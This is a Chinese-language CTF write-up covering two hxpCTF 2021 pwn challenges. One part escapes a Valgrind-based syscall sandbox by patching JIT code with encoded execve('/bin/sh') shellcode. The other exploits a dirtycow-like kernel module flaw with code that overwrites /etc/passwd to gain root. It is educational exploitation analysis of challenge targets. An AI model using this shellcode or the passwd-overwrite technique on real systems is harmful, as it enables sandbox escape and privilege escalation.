[hxpctf2021] 部分 pwn 题 writeup
TOC
sandboxgrind
题如其名,使用 valgrind 实现了一个 sandbox。妹听说过 valgrind,搜一下发现是一个用于动态分析的插桩框架。题目很良心,给了源码:
static void SB_(instrument_jump)(IRSB *sbOut, IRJumpKind jk, IRExpr *dst, IRExpr *guard)
{
switch (jk) {
case Ijk_Boring:
case Ijk_Call:
case Ijk_Ret:
case Ijk_Yield:
return; // Ignore "normal" jumps and calls
// For some reason, IRJumpKind has a ton of syscalls, but we don't allow any of them. Same goes
// for any emulation errors and invalid instructions. We don't abort here, because they may still
// be unreachable (we need to evaluate the guard expression first).
default:
SB_INSTRUMENT_FN(sbOut, SB_(illegal), guard, jk); // Abort on invalid instructions and emulation errors
return;
}
}
static IRSB* SB_(instrument)(VgCallbackClosure *closure,
IRSB *bb,
const VexGuestLayout *layout,
const VexGuestExtents *vge,
const VexArchInfo *archinfo_host,
IRType gWordTy,
IRType hWordTy)
{
IRSB* sbOut = deepCopyIRSBExceptStmts(bb);
for (Int i = 0; i < bb->stmts_used; i++) {
IRStmt* st = bb->stmts[i];
switch (st->tag) {
case Ist_Dirty:
// Call to a C helper function
SB_(instrument_dirty_call)(sbOut, st->Ist.Dirty.details->cee, st->Ist.Dirty.details->guard);
break;
case Ist_Exit:
// (Conditional) exit from BB
SB_(instrument_jump)(sbOut, st->Ist.Exit.jk, IRExpr_Const(st->Ist.Exit.dst), st->Ist.Exit.guard);
break;
default:
break;
}
addStmtToIRSB(sbOut, st);
}
SB_(instrument_jump)(sbOut, bb->jumpkind, bb->next, NULL);
return sbOut;
}
中间语言是非常火的 IR vec,核心逻辑非常简单,就是在每个 Super Block(好像和 Basic Block 还不一样)的出口插个桩检测下,即引起控制流变化的指令得是 [Ijk_Boring, Ijk_Call, Ijk_Ret, Ijk_Yield] 中的一个,意思就不允许系统调用了。这可把我整急眼了,没有系统调用我可咋活啊。
首先想的是,插桩框架嘛,那流程肯定就是:二进制–[反汇编]–>IR–[插桩]–>IR_plus–[汇编/生成]–>目标代码。最开始想着用花指令让他找不到 syscall 所在的代码块,结果试了好几个花指令都不行,心想你这玩意儿比 ida 牛逼这么多呢?
后来再去搜搜发现这玩意儿是 JIT 的,那我寻思我也绕不过就不饶了。发现 valgrind 没开 PIE,并且这种存放 JIT 代码的八成是 rwx 段,那就直接调试一下在内存中搜索 JIT 代码的位置,让代码运行的时候把后面的指令给改了。类似:
void test3(){
asm(
".intel_syntax noprefix;"
"mov rax, 0x1002d9d287;"
"mov DWORD PTR [rax], 0xb848686a;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x6e69622f;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x732f2f2f;"
"add rax, 4;"
"mov DWORD PTR [rax], 0xe7894850;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x1697268;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x24348101;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x1010101;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x6a56f631;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x1485e08;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x894856e6;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x6ad231e6;"
"add rax, 4;"
"mov DWORD PTR [rax], 0x50f583b;"
"add rax, 4;"
".att_syntax noprefix;"
);
}
void _start(){
char buf[0x20];
test3();
while (1){}
return;
}
trusty_user_diary
kernel 题,恰好考到了最近在看还没看完的 linux 内存布局。比赛的大部分时间都在一边学一边做,在第二天找到 dirtycow 的 writeup,但当时干眼症犯了就没继续做题了,后来复盘发现这个题其实可以看作是 dirtycow 的一个子集,觉得还是有点可惜。 |
看接下来的内容之前,我强烈推荐你去看这一篇对 dirtycow 漏洞的精彩分析。并弄懂两个问题:为什么要通过带外内存访问(/self/proc/mem)的方式来触发【理解 __get_user_pages() 中的处理流程】?为什么 __get_user_pages() 没有修改只读属性为可写但最后仍能实现覆写【理解’特权’写的原理】?
回到题目中来,内核模块暴露了 5 个功能:
- 0x11: 用户指定虚拟地址,ko 会使用 vmap 将虚拟地址对应的物理页映射到内核空间,保存这个地址
- 0x22:
ko 使用 get_free_pages() 进行页分配并得到虚拟地址,然后用用户指定的内容进行填充,保存这个地址 - 0x33:
释放 0x11 创建的映射或者 0x22 创建的页及映射 - 0x44: copy_from_user
- 0x55:
copy_to_user
最开始因为 0x33 用 vfree 来释放 vmap 出的地址(正规点应该是 vmap/vunmap & vmalloc/vfree),还以为会有 double free 之类的漏洞,看了一会儿源码之后才发现,如果 vmap 的 flags 不指定 VM_MAP_PUT_PAGES 的话 varea 里都不会记录对应的 pages 的信息,根本走不到调用 __free_pages() 的路径,更别谈其他的引用计数之类的机制了。
漏洞点还是出在最复杂的功能 0x11:
if ( cmd != 0x11 )
{
pages[0] = 0LL;
v6 = *(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 0x870);// get_current_mm
pages[1] = 0LL;
pages[2] = 0LL;
pages[3] = 0LL;
down_read(v6 + 0x78);
v7 = find_vma(v6, arg_on_stack.addr);
if ( v7 )
{
if ( (*(_QWORD *)(v7 + 80) & 3LL) != 3 )// vm_flags & RDWR
{
ret = -1LL;
up_read(v6 + 0x78);
kfree(obj);
goto return;
}
v19 = pin_user_pages_fast(arg_on_stack.addr, 4LL, 0LL, pages);// <= vul here! but checked before?
// (FOLL_READ)
ret = v19;
if ( v19 <= 0 )
{
up_read(v6 + 0x78);
kfree(obj);
goto return;
}
if ( v19 == 4 )
{
addr = (void *)vmap(pages, 4LL, 4LL, _default_kernel_pte_mask & (sme_me_mask | 0x8000000000000163LL));
// void *vmap(struct page **pages, unsigned int count,
// unsigned long flags(VM_MAP), pgprot_t prot)
if ( !addr )
{
unpin_user_pages(pages, 4LL);
ret = -12LL;
up_read(v6 + 0x78);
kfree(obj);
goto return;
}
page = pages[0];
obj->type = 1;
obj->pages[0] = page;
obj->pages[1] = pages[1];
obj->pages[2] = pages[2];
obj->pages[3] = pages[3];
up_read(v6 + 0x78);
goto link;
}
unpin_user_pages(pages, v19);
}
ret = -22LL;
up_read(v6 + 0x78);
kfree(obj);
goto return;
}
- 检查用户指定的地址对应的 vma 条目是否有读写权限
- 调用 pin_user_pages_fast() 获得地址对应的物理页
- 调用 vmap() 映射物理页到内核空间,获得一个指向其的虚拟地址
- 记录下虚拟地址供之后的读写操作使用
如果你已经知道了 dirtycow 的原理,那你可以直接看出来这里相当于直接给了 dirtycow 满足竞争条件后的情形:未指定 FOLL_WRITE 作为 gup_flags 调用 pin_user_pages_fast(),并在之后写入获得的页面。这将会给我们任意可读文件写入的能力,只需要通过以下的步骤就可以修改 /etc/passwd 的内容:
int passwd_fd = open("/etc/passwd", O_RDONLY);
void *mbuf = mmap((void*)0, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE, passwd_fd, 0);
if (mbuf < 0){
error("[-] mmap file error");
}
size_t *tbuf = mmap(mbuf+0x1000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if (tbuf != mbuf+0x1000){
error("[-] mmap anonymous error!");
}
ko_add_vmap(1, (size_t) mbuf);
strcpy((char *)buf, "root:x:0:0:root:/root:/bin/sh\nctf:x:0:0:Linux User,,,:/home/ctf:/bin/sh");
ko_upload(1);
如果你并没有仔细看过 dirtycow 的分析,那你可能会好奇:
- 为什么以 O_RDONLY 打开的 fd,可以通过 PROT_WRITE 来调用 mmap 映射?原理详见 MAP_PRIVATE 相关知识,简要概述就是 MAP_PRIVATE 指定这个映射是私有的,虽然你对原文件只有读权限,但是如果你非得想写,内核也可以给你拷贝一个副本让你写着玩。注意 vma 的属性,即 ko 中判断读写的属性,是由 mmap 指定的属性决定的,所以就可以通过检查
- 为什么没有指定 FOLL_WRITE 获得的页也可以写入?because kernel is god,是否可写是通过 pte 的属性来控制的,内核和用户不走同一个 pte
- 为什么这次的写入不是写入到副本?可能需要了解 cow 及处理流程,简单来说由于调用 ko 的 0x11 功能之前没有对映射出的页面进行写操作,所以其指向的是原文件对应的物理内存,而具体的 cow 操作是在 pin(get)_user_pages 里做的,并且依赖于参数中 gup_flags 被设置 FOLL_WRITE,所以这次调用 pin_user_pages 结束的时候都还没有做拷贝的操作,所以就是获得的原文件物理页。
利用的方法和以前的 kernel pwn 不太一样,并且 dirtycow 中修改 /etc/passwd 的操作在这里似乎也行不太通,暂时等等别的队伍的 wp 做个总结再来补充 |